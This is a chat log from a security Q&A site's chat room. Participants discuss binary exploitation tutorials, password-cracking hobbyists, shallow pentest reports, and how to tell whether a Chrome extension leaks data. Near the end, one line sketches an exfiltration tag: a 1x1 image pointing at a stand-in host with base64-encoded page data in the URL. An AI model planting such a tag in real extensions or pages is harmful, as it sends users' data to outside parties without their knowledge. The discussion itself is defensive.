The DMZ

Q: How can i clean an anesthesia machine after a covid virus patient

9:24 AM

Would i change sodalime after each patient or are the filters enough?

infection-control

One would hope that medical staff would not have to resort to stackexchange for information...

John Zhau

10:06 AM

Anyone knows a nice video on binary exploitation with full RELRO, Stack Canary, NX, and PIE all enabled? The ones I see mostly have some of them off.

I'm still a noob at binary exploit but it'd be interesting to see one with all that on

10:19 AM

I don't know if LiveOverflow has one on these specific topics

But he generally has great binary exploitation videos

1 hour later…

11:47 AM

Can anyone tell me why skiddies are so attracted to Hashcat?

12:30 PM

@MechMK1 Here are my guesses: (1) Cracking passwords is cool and potentially profitable. (2) Everybody's heard of hashcat. (3) It's not hard to find a list of hashes from a data breach, so this is a low effort introduction to hacking. (4) You can do it all on your own computer, at your own leisure - much less nerve wracking than performing an actual attack on a real company that could land you in trouble.

@FireQuacker I completely forgot data breach hashes

In my head I was always "I doubt that they have the skills to dump hashes from a DB and then not have the skills to use hashcat correctly"

12:50 PM

data breaches are common. and sql injections too. usually if you learn sqli, you can throw it anywhere and sometimes it hits

hashcat have lots of parameters, and most skiddies are not used to read manuals

@ThoriumBR "I did read the manual, but it didn't say anything about how to do the thing I need it to do"

hehe... it's a common problem... "it asks for input.txt but I don't have this file anywhere... all I have is dump.txt"

"ey bro can you DM me input.txt pls?"

A common thing is people asking help booting kali. man, if you cannot even boot kali, how you are supposed to know how to use airodump or beeef?

Well, boot problems can be a bitch

I once found out that some Ubuntu version can't boot off a USB3.0 thumb drive

Took me ages to figure out

And even worse, that PC only had 3.0 USB slots :D

My favourite is: "Kali won't boot I dunno why" - "Are you sure your USB stick is bootable?" - "Yeah duh I'm not an idiot" - "How did you make your USB stick?" - "Like normal, I just copied the ISO over"

1:01 PM

Laziness - the world's way of protecting us from a flood of hackers

@FireQuacker Any skill worth learning requires a certain amount of investment

There are lots of companies that would be breached right now if all the script kiddies knew how to google better

Yeah, that's why legit security companies can still survive

At least we provide an actual service

I saw a "report" from a company once, not mentioning any names of course, which was basically "yeah uh here is nmap. It says like 7 different ports are open. That's a lot." and "ssllabs says your grade is B so work on that"

mkay, I'm not going to pay a bug bounty for that

The report was so weird. Like, just the output from a bunch of tools and that's all

No "You see, the tool reported X, so that means an attacker can do Y. This can lead to Z, but it's rather unlikely, because Y requires ...."

And most importantly, no "So here's how you fix it"

2:03 PM

and someone paid for that?

@ThoriumBR For the first report? Yes

Though I assume, since our company did the next contract, there is a reason the customer didn't go with that company a second time

I even took my time to explain all the "findings" of that company, what they mean, and how it could be fixed

2:37 PM

that's fair... they kinda worked, after all... I hope the price was as low as the effort.

A: How do I know if a Google Chrome extension is leaking data?

I don't know, but something tells me it is extremely overprized

I mean, I too use tools like testssl.sh for a quick SSL check. But the testssl report is the basis for my own report - it doesn't serve as the report

According to developer.chrome.com: [Chrome Extensions] are built on web technologies such as HTML, JavaScript, and CSS. This means, anything that could affect the behavior of an extension will exist in a plain-text format (as opposed to a binary). Chrome allows you to debug extensions, givi...

Can someone quickly look over this to make sure what I said makes sense?

Thank you!

3:00 PM

@MechMK1 I think it makes sense

Thanks

Some thoughts: 1) IIRC, Chrome now requires all extensions to be non-obfuscated, to allow people to see what's running, but you'd still need to understand JS/CSS/HTML to understand it.

2) Theoretically, if an extension is leaking anything, I think it should show up as a network request somewhere, either on a web page or on the extension's virtual page (I don't remember the right term here).

3) Even if you audited an extension once, they update automatically, so it would be easy for the source code to change.

Honestly, a casual hobbyist programmer vs experienced malware developer is not going to be a fair fight. There are a lot of ways to disguise things.

Case in point: krebsonsecurity.com/2020/03/…

Somebody somebody was linking to //htt .ps//grandwesternbank.com (I intentionally added a space in there)

If you were just skimming a few hundred lines of code, that would would be very easy to miss.

3:28 PM

makes sense... but if any extension have the power to change the contents of a page, it can insert a tag like <img src='some.url/img?[bunch of base64 here]' width=1 height=1>

or load any external script into the page, and the script would leak data

the vectors are plentiful